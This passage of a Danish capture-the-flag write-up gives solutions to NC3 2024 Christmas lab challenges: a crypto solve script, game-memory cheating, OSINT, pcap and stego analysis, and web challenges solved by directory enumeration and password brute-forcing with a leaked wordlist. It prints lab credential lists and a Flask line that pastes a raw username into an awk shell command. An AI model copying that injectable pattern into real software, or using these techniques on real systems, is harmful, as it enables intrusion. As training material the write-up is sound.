class="mi">5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042</span><span class="p">,</span> <span class="mi">8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543</span><span class="p">,</span> <span class="mi">1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834</span><span class="p">,</span> <span class="mi">3897259530828361228783663681670152160336102550466323653085663231466628256996186627804138561727412104811928947396119654027007781440639708688533484458984248</span><span class="p">,</span> <span class="mi">4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335</span><span class="p">,</span> <span class="mi">10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957</span><span class="p">,</span> <span class="mi">1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834</span><span class="p">,</span> <span class="mi">8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543</span><span class="p">,</span> <span class="mi">5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662</span><span class="p">,</span> <span class="mi">840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127</span><span class="p">,</span> <span class="mi">2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921</span><span class="p">,</span> <span class="mi">5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042</span><span class="p">,</span> <span class="mi">8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543</span><span class="p">,</span> <span class="mi">1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834</span><span class="p">,</span> <span class="mi">5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662</span><span class="p">,</span> <span class="mi">13008990980631389935148142111677161701221458511780333780147335277977391797017709168611976215684901198199870163948147173274319201820830401712457912474856751</span><span class="p">,</span> <span class="mi">840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127</span><span class="p">,</span> <span class="mi">840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127</span><span class="p">,</span> <span class="mi">860015714227351659995504205001148980040983896694986944065105882629707076989012447534859343741582407015948541878777147611237307980576144347225341787026747</span><span class="p">,</span> <span class="mi">10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957</span><span class="p">,</span> <span class="mi">5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662</span><span class="p">,</span> <span class="mi">2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921</span><span class="p">,</span> <span class="mi">1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934</span><span class="p">,</span> <span class="mi">5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662</span><span class="p">,</span> <span class="mi">1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834</span><span class="p">,</span> <span class="mi">6934503347429370797571823158339155340631221204237660362106220580303549437003360808073417779713241802607909352913462160442778254900703273029841627130941749</span><span class="p">,</span> <span class="mi">6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142</span><span class="p">,</span> <span class="mi">5895584586885906472393065833555832179653302408708874161892107858172529336476903511017588406369496687299212418907332857516822384065126425130586326396180422</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Step 1: Calculate the encryption key</span>
</span></span><span class="line"><span class="cl"><span class="n">first_ciphertext</span> <span class="o">=</span> <span class="n">ciphertext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="p">(</span><span class="n">first_ciphertext</span> <span class="o">*</span> <span class="n">mod_inverse</span><span class="p">(</span><span class="n">known_plaintext</span><span class="p">,</span> <span class="n">P</span><span class="p">))</span> <span class="o">%</span> <span class="n">P</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Derived Key: </span><span class="si">{</span><span class="n">key</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Step 2: Decrypt the ciphertext</span>
</span></span><span class="line"><span class="cl"><span class="n">decrypted_bytes</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted_value</span> <span class="o">=</span> <span class="p">(</span><span class="n">c</span> <span class="o">*</span> <span class="n">mod_inverse</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">P</span><span class="p">))</span> <span class="o">%</span> <span class="n">P</span>  <span class="c1"># Modular inverse</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted_byte</span> <span class="o">=</span> <span class="n">decrypted_value</span> <span class="o">%</span> <span class="mi">256</span>  <span class="c1"># Wrap into ASCII range</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted_bytes</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">decrypted_byte</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Byte </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">: Decrypted Value = </span><span class="si">{</span><span class="n">decrypted_value</span><span class="si">}</span><span class="s2">, ASCII = </span><span class="si">{</span><span class="nb">chr</span><span class="p">(</span><span class="n">decrypted_byte</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Step 3: Convert decrypted bytes to a string</span>
</span></span><span class="line"><span class="cl"><span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted_text</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">byte</span><span class="p">)</span> <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">decrypted_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">Decrypted Flag:&#34;</span><span class="p">,</span> <span class="n">decrypted_text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">except</span> <span class="ne">ValueError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">Error during ASCII conversion:&#34;</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>NC3{https://www.cryptoisnotcryptocurrency.com/}</code></p>
<hr>
<h2 id="nisse-pension">Nisse-pension</h2>
<p>Nissen Fritz er træt af den daglige rutine i Nisseby, men han opfylder ikke kravene til regeringens tidlige Nisse-pension.</p>
<p>Mon han kan snyde systemet, så han kan stoppe på arbejdsmarkedet 250-300 år før tid?</p>
<p><strong>Bemærk:</strong> Opgaven lukker op for endnu en opgave om Nisseby.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Reversing/nisseby">nisseby</a></p>
<p><strong>Løsning:</strong> Ved at bruge PINCE (Cheat Engine til linux) kan jeg snyde med hvor mange penge jeg har og dage jeg arbjedet.</p>
<p><img src="/nc3_2024/Reversing/pince.png" alt="Screenshot af PINCE setup"></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Dag <span class="m">100001</span> - du har ❄️200
</span></span><span class="line"><span class="cl">1. 🛠️ Arbejd på værkstedet
</span></span><span class="line"><span class="cl">2. 💤 Sov
</span></span><span class="line"><span class="cl">3. 🛒 Gå i Frosto
</span></span><span class="line"><span class="cl">4. 👋 Afslut
</span></span><span class="line"><span class="cl">&gt; <span class="m">3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">🛒 Velkommen i Frosto, hvad vil du købe? 🛒
</span></span><span class="line"><span class="cl">1. Julegløgg    ❄️50
</span></span><span class="line"><span class="cl">2. Hint        ❄️500
</span></span><span class="line"><span class="cl">3. Hint        ❄️1.337
</span></span><span class="line"><span class="cl">4. Flag        ❄️10.000.000
</span></span><span class="line"><span class="cl">5. Gå tilbage
</span></span><span class="line"><span class="cl">&gt; <span class="m">4</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">🎉 Tillykke! Her er dit flag: NC3<span class="o">{</span>30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅<span class="o">}</span> 🎉
</span></span><span class="line"><span class="cl">halfdan@desktop:~/
</span></span></code></pre></div><p>Flag: <code>NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅}</code></p>
<hr>
<h2 id="styrtet">Styrtet</h2>
<p>Ved testflyvning af den nye Slæde2024 løb nogle af rensdyrene tør for æbleskiveskraft, og vi måtte nødlande. Men hvor er vi?</p>
<p>Der blev taget disse to billeder og sendt til Geonisserne. De svarer dog først efter tre dage. Kan du hjælpe hurtigere?</p>
<p>Flaget er området som helhed, det vil være tydeligt, når stedet er fundet.</p>
<p>MD5 af området (uden NC3{} omkring) er <code>5f04609c04b031b6ed03b9d200e6cb5c</code> (produceret med <a href="https://gchq.github.io/CyberChef/#recipe=MD5()">CyberChef</a>)</p>
<p><strong>Vedhæftet filer:</strong> <a href="/nc3_2024/OSINT/styrt1.jpg">styrt1.png</a> og <a href="/nc3_2024/OSINT/styrt2.jpg">styrt2.png</a></p>
<p><strong>Løsning:</strong> Ved at zoome lidt ind på det ene billede spotter man noget der ligner et højt tårn:</p>
<p><img src="/nc3_2024/OSINT/styrt3.png" alt="Screenshot af det ene styrt billede"></p>
<p>Ved første tanke lignede dette Helnæs Fyr, men med nærmere analyze kan man hurtigt spotte at det er Tunø Kirke, området er Tunø; hvilket også matcher MD5et.</p>
<p>Flag: <code>NC3{Tunø}</code></p>
<hr>
<h2 id="gnomernes-tegnestue">Gnomernes Tegnestue</h2>
<p>Åh nej! Nissernes efterretningstjeneste har opsnappet, at ondsindede gnomer planlægger et cyberangreb for at forpurre julen!</p>
<p>Vores skarpsindige OSINT-nisser har lokaliseret gnomernes hemmelige tilholdssted – en digital borg, skjult i cyberspace, hvor de samler sig for at lægge deres skumle planer.</p>
<p>Men gnomerne har sikret deres tilholdssted med en snedig login-platform og en specialbygget database, der hidtil har modstået nissernes hackingforsøg. Kan du hjælpe med at bryde igennem deres forsvar, infiltrere deres tegnestue og afsløre planerne, før det er for sent?</p>
<p><a href="https://tryhackme.com/jr/gn0mernestegnestu32o24">https://tryhackme.com/jr/gn0mernestegnestu32o24</a></p>
<p><strong>Vedhæftet fil:</strong> <a href="static/nc3_2024/kom_godt_i_gang/gnomernes_tegnestue.zip">gnomernes_tegnestue.zip</a></p>
<p><strong>Løsning:</strong> Creds ligger i creds.txt filen. Log ind som admin på websitet på http://<!-- raw HTML omitted --> og indtast admins creds. Så står flaget på forsiden under Hemmelig besked.</p>
<pre tabindex="0"><code>============|============
BRUGERNAVN  |ADGANGSKODE
============|============
admin       |jU1en_sk4L-ikk3_f0rBl1ve-foR_ev1gT
bytebryder  |jEg_knu5eR-b1tS_7iL-m0rgeNm4D
kryptklo    |dU_V1l-4ldrIg_k0mm3-uD_4f-m1Ne_Kl0er
frostbider  |1ngEn_kan-kl4Re_m1t-k0Lde_g3bi5
kodeknuser  |d1N_k0dE-5pIser_j3G-Til_m1dDagsM4d
</code></pre><p>Flag: <code>NC3{l4v_iKk3_3gNe_1mpLemen7ationer_4f_d4t4Bas3r}</code></p>
<hr>
<h2 id="julens-undergang">Julens Undergang</h2>
<p>Vores threat intelligence nisser har efterretninger på, at gnomerne i Gnomistan planlægger et stort angreb på Nisseland og julen selv.</p>
<p>Vi har en spionnisse udstationeret i Kaos A/S, den primære organisation bag planlægningen og udførslen af angrebene. Hun har sniffet netværkstrafik, vi håber kan give mere konkrete leads - det meste er dog krypteret!</p>
<p>Hjælp os med at få adgang til al kommunikationen, så vi kan sikre julen og Nisseland!</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Forensics/sniffed.pcapng">sniffed.pcapng</a></p>
<p><strong>Løsning:</strong></p>
<pre tabindex="0"><code>I tls pakke med mail kommunikation, stream 27, findes flaget

Content-Type: text/plain; charset=&#34;utf-8&#34;
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Subject: Operation Julens Undergang
From: Gnoklios &lt;ceo@kaos.gnom&gt;
To: Afdelingen for Julens Undergang &lt;undergang@kaos.gnom&gt;

Alle gnomer i Kaos A/S!

Tiden er kommet til den st=C3=B8rste operation mod Nisseland til dato!
Nisserne er travle med juleforberedelserne og er ikke opm=C3=A6rksomme p=C3=
=A5 deres omgivelser.
Vi har over den seneste m=C3=A5ned infiltreret deres v=C3=A6rksteder og sabot=
eret leget=C3=B8jet, s=C3=A5 de er mere pressede end nogensinde f=C3=B8r.

Operation Julens Undergang begynder p=C3=A5 torsdag lige efter deres frokostp=
ause - en tyk nisse er en langsom nisse.

Det er EKSTREMT vigtigt, denne information bliver i Kaos A/S.
Hvis bare en enkelt snagende nisse f=C3=A5r fat p=C3=A5 informationen med sin=
e klamme korte fingre, er hele operationen kompromiteret.

NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}

Julen bliver endelig vores!
Gnoklios, CEO Kaos A/S
</code></pre><p>Flag: <code>NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}</code></p>
<hr>
<h2 id="a-deep-secret">A Deep Secret</h2>
<p>Efter en stor politiaktion mod banden Hydra Tech Commandos har NC3 modtaget en række devices til undersøgelse. Lederen KrigStoffer overfører tilsyneladende ofte feriebilleder til de andre medlemmer via WIM disk images.</p>
<p>Vi mistænker, de bruger billederne til at gemme kommunikation om deres salg af LSD, heroin og andre stoffer med alternative metoder.</p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/Stego/feriebilleder.wim">feriebilleder.wim</a></p>
<p><strong>Løsning:</strong> Ved at bruge 7-Zip: <code>7z x feriebilleder.wim</code> kan vi extract 53 filer, hvor 49 af dem er 150x150 png billeder med alle mulige farver i baggrunden og et bogstav, tal eller andet char i forgrunden.</p>
<p>Billederne indeholder som sagt forskellige char. Billed filerne har navne der er sorterbare, gør man det og laver grupper af 7 filnavne, vil man kunne se et mønster. Hvilket giver 7 grupper, med 7 filnavne i hver. Tager man billeder der viser en char fra hver grupper i dens orden, og sætter dem sammen haves flaget.</p>
<pre tabindex="0"><code>KDAsIDAp        N
KDAsIDEp        3
KDAsIDIp        D
KDAsIDMp        3
KDAsIDQp        R
KDAsIDUp        _
KDAsIDYp        R

KDEsIDAp        C
KDEsIDEp        _
KDEsIDIp        R
KDEsIDMp        R
KDEsIDQp        N
KDEsIDUp        D
KDEsIDYp        Ø

KDIsIDAp        3
KDIsIDEp        M
KDIsIDIp        Ø
KDIsIDMp        _
KDIsIDQp        4
KDIsIDUp        4
KDIsIDYp        M

KDMsIDAp        {
KDMsIDEp        1
KDMsIDIp        M
KDMsIDMp        4
KDMsIDQp        T
KDMsIDUp        7
KDMsIDYp        M

KDQsIDAp        4
KDQsIDEp        N
KDQsIDIp        M
KDQsIDMp        L
KDQsIDQp        1
KDQsIDUp        4
KDQsIDYp        3

KDUsIDAp        L
KDUsIDEp        3
KDUsIDIp        3
KDUsIDMp        T
KDUsIDQp        V
KDUsIDUp        5
KDUsIDYp        !

KDYsIDAp        L
KDYsIDEp        _
KDYsIDIp        _
KDYsIDMp        3
KDYsIDQp        3
KDYsIDUp        T
KDYsIDYp        }


NC3{4LL
3_M1N3_
DRØMM3_
3R_4LT3
RN4T1V3
_D4745T
RØMM3!}



NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}
</code></pre><p>Flag: <code>NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}</code></p>
<hr>
<h2 id="nisseportalen-1">Nisseportalen #1</h2>
<p>Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.</p>
<p>Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?</p>
<p>Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i&hellip;</p>
<p><a href="https://tryhackme.com/jr/nisseportalen2o24">https://tryhackme.com/jr/nisseportalen2o24</a></p>
<p><strong>Løsning:</strong> <a href="https://github.com/OJ/gobuster">gobuster</a> viser mappen <code>/portal/</code>. Hvis man tager source på <code>portal/index.html</code> finder man:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">&#34;index.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Flag: <code>NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}</code></p>
<hr>
<h2 id="julemandens-ønskeliste">Julemandens Ønskeliste</h2>
<p>Julemandens hjemmeside er klar til jul! Besøg siden og send din ønskeliste til den gode gamle julemand.</p>
<p>Men der er en hemmelighed gemt bag kulisserne – julemandens egen ønskeliste. Kan du finde den og afsløre, hvad han selv ønsker sig i år?</p>
<p><a href="https://tryhackme.com/jr/julem4ndens0nskeliste2o24">https://tryhackme.com/jr/julem4ndens0nskeliste2o24</a></p>
<p><strong>Løsning:</strong></p>
<ol>
<li>Landing page afslører at siden er lavet af &ldquo;Julemand&rdquo; og en login.html side</li>
<li>På login.html er der adgang til register.html hvis man inspisere koden</li>
<li>Man opretter en bruger og logger ind, hvorefter man redirecter til ønskeliste.html</li>
<li>Her finder man en kommentar i koden om at man ikke har begrænset adgangen til /uploads. Her finder man /uploads/wordlist/julemandens_hemmelige_koder.txt, med en række adgangskoder</li>
<li>vi sende login til burpsuite og vælger &ldquo;Julemand&rdquo; som burgernavn og finder at password &ldquo;christmas1&rdquo; giver en adgang til julemandens ønskeliste: julemandensønskeliste.html</li>
</ol>
<p>Flag: <code>NC3{jul3mand3ns_ønsk3l1st3}</code></p>
<hr>
<h2 id="gnomernes-hævn">Gnomernes Hævn</h2>
<p>Neeeej, gnomerne har opdaget, de kom til at leake alle deres passwords i <a href="#gnomernes-tegnestue">Gnomernes Tegnestue</a> direkte i den udleverede fil!!!</p>
<p>Det ser ud til, de har skiftet flaget og alle deres passwords på baggrund af lækket - kan du mon stadig få adgang?</p>
<p><strong>OBS:</strong> Opgaven er identisk med <a href="#gnomernes-tegnestue">Gnomernes Tegnestue</a>, bare med alle passwords redacted i den udleverede ZIP.</p>
<p><a href="https://tryhackme.com/jr/gn0mernesh43vn2o24">https://tryhackme.com/jr/gn0mernesh43vn2o24</a></p>
<p><strong>Vedhæftet fil:</strong> <a href="/nc3_2024/kom_godt_i_gang/gnomernes_hvn.zip">gnomernes_hvn.zip</a></p>
<p><strong>Løsning:</strong> I ZIP-filen ligger koden til flask. Der er en linje vulnerable code for username parametren fra loginsiden: <code>get_password_query = f&quot;awk -F'|' -v val='{username}' '{{gsub(/[[:space:]]/, \&quot;\&quot;, $1); print ($1==val?$2:Null)}}' creds.txt | grep .&quot;</code></p>
<p>awk kommandoen kigger bare fra linje 1. Den forstår ikke hvad der er en header. Så fra listen:</p>
<pre tabindex="0"><code>============|============
BRUGERNAVN  |ADGANGSKODE
============|============
admin       |REDACTED
bytebryder  |REDACTED
kryptklo    |REDACTED
frostbider  |REDACTED
kodeknuser  |REDACTED
</code></pre><p>Matcher BRUGERNAVN | ADGANGSKODE. Så input BRUGERNAVN og ADGANGSKODE og så kommer man til den hemmelige side..</p>
<p>Flag: <code>NC3{s@t_1kk3_gn0m3r_71l_4t_1mpl3m3nt3r3_CTF_0pg4v3r}</code></p>
<hr>
<h2 id="flimmer-på-fjernsynet">Flimmer På Fjernsynet</h2>
<p>Arrrrgh, knas på kanalen og støj på linjen, nu flimrer mit gamle møg TV igen, jeg skulle lige til at se Pyrus 😠</p>
<p><a href="https://tryhackme.com/jr/flimmerfjernsynet2o24">https://tryhackme.com/jr/flimmerfjernsynet2o24</a></p>
<p><strong>Løsning:</strong> <img src="/nc3_2024/Stego/flimmer_paa_fjernsynet/index.png" alt="Screenshot af index side"></p>
<p>nå knappen aktiveres skifter billedet til et med &ldquo;sne&rdquo;</p>
<p><img src="/nc3_2024/Stego/flimmer_paa_fjernsynet/sne.png" alt="Screenshot af sne billed"></p>
<p>Fra Html&rsquo;en ser vi:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;container&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;/skift-kanal&#34;</span> <span class="na">alt</span><span class="o">=</span><span class="s">&#34;Flimmer&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;flimmer&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;channel&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;../static/tv.png&#34;</span> <span class="na">alt</span><span class="o">=</span><span class="s">&#34;TV&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;tv&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;button-container&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">button</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;switch-button&#34;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;switchChannel()&#34;</span><span class="p">&gt;</span>Skift Kanal<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="kd">function</span> <span class="nx">switchChannel</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">flimmer</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;flimmer&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="kr">const</span> <span class="nx">timestamp</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">().</span><span class="nx">getTime</span><span class="p">();</span> <span class="c1">// Timestamp to bypass caching
</span></span></span><span class="line"><span class="cl">            <span class="nx">flimmer</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="sb">`/skift-kanal?</span><span class="si">${</span><span class="nx">timestamp</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Først download en bunke billeder vi kan &ldquo;lege&rdquo; med</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">for</span> i in <span class="o">{</span>1..10<span class="o">}</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    curl <span class="s2">&#34;http://10.10.6.240/skift-kanal?</span><span class="k">$(</span>date +%s%N<span class="k">)</span><span class="s2">&#34;</span> -o <span class="s2">&#34;image_</span><span class="nv">$i</span><span class="s2">.png&#34;</span>
</span></span><span class="line"><span class="cl">    sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">done</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Load images</span>
</span></span><span class="line"><span class="cl"><span class="n">image1</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;image_1.png&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">image2</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;image_10.png&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">image1_rgb</span> <span class="o">=</span> <span class="n">image1</span><span class="p">[:,</span> <span class="p">:,</span> <span class="p">:</span><span class="mi">3</span><span class="p">]</span>  <span class="c1"># Extract RGB channels only</span>
</span></span><span class="line"><span class="cl"><span class="n">image2_rgb</span> <span class="o">=</span> <span class="n">image2</span><span class="p">[:,</span> <span class="p">:,</span> <span class="p">:</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">xor_result</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">bitwise_xor</span><span class="p">(</span><span class="n">image1_rgb</span><span class="p">,</span> <span class="n">image2_rgb</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">xor_image</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">xor_result</span><span class="o">.</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">xor_image</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s2">&#34;xor_result_rgb.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">xor_image</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span></code></pre></div><p>efter lidt rens får vi</p>
<p><img src="/nc3_2024/Stego/flimmer_paa_fjernsynet/flag.png" alt="Screenshot af flag"></p>
<p>Flag: <code>NC3{hvord4n_5k4l_j3g_s3_jul3k4l3nd3r_m3d_4l_d3n_fj3rn5yn5fl1mm3r?}</code></p>
<hr>
<h2 id="postnordpolen-i">PostNordpolen I</h2>
